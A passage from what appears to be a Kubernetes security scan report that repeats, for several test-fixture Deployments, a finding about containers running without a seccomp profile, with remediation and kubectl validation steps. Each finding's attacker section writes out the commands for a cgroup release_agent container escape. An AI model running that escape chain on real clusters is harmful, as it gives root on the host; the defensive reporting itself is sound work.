Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n cloud-eks-test <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/imds-pivot-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/cloud-eks-test/irsa-admin-app Workload 5.5
Container app runs without a seccomp profile in Deployment/cloud-eks-test/irsa-admin-app
Scope · Workload Workload Deployment/cloud-eks-test/irsa-admin-app
Category: Privilege Escalation Resource: Deployment/cloud-eks-test/irsa-admin-app Namespace: cloud-eks-test

Container app in Deployment/cloud-eks-test/irsa-admin-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n cloud-eks-test <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/irsa-admin-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-image Workload 5.5
Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-image
Scope · Workload Workload Deployment/containersec-fixtures/containersec-image
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-image Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-image either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n containersec-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/containersec-image -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-lifecycle Workload 5.5
Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-lifecycle
Scope · Workload Workload Deployment/containersec-fixtures/containersec-lifecycle
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-lifecycle Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-lifecycle either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n containersec-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/containersec-lifecycle -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-limits Workload 5.5
Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-limits
Scope · Workload Workload Deployment/containersec-fixtures/containersec-limits
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-limits Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-limits either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n containersec-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/containersec-limits -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-probes Workload 5.5
Container app runs without a seccomp profile in Deployment/containersec-fixtures/containersec-probes
Scope · Workload Workload Deployment/containersec-fixtures/containersec-probes
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-probes Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-probes either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n containersec-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/containersec-probes -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/csr-fixtures/csr-mint-app Workload 5.5
Container app runs without a seccomp profile in Deployment/csr-fixtures/csr-mint-app
Scope · Workload Workload Deployment/csr-fixtures/csr-mint-app
Category: Privilege Escalation Resource: Deployment/csr-fixtures/csr-mint-app Namespace: csr-fixtures

Container app in Deployment/csr-fixtures/csr-mint-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n csr-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/csr-mint-app -n csr-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/csr-fixtures/csr-sign-app Workload 5.5
Container app runs without a seccomp profile in Deployment/csr-fixtures/csr-sign-app
Scope · Workload Workload Deployment/csr-fixtures/csr-sign-app
Category: Privilege Escalation Resource: Deployment/csr-fixtures/csr-sign-app Namespace: csr-fixtures

Container app in Deployment/csr-fixtures/csr-sign-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n csr-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/csr-sign-app -n csr-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/flat-network/unmatched Workload 5.5
Container app runs without a seccomp profile in Deployment/flat-network/unmatched
Scope · Workload Workload Deployment/flat-network/unmatched
Category: Privilege Escalation Resource: Deployment/flat-network/unmatched Namespace: flat-network

Container app in Deployment/flat-network/unmatched either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n flat-network <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/unmatched -n flat-network -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/foothold-fixtures/foothold-priv-app Workload 5.5
Container app runs without a seccomp profile in Deployment/foothold-fixtures/foothold-priv-app
Scope · Workload Workload Deployment/foothold-fixtures/foothold-priv-app
Category: Privilege Escalation Resource: Deployment/foothold-fixtures/foothold-priv-app Namespace: foothold-fixtures

Container app in Deployment/foothold-fixtures/foothold-priv-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
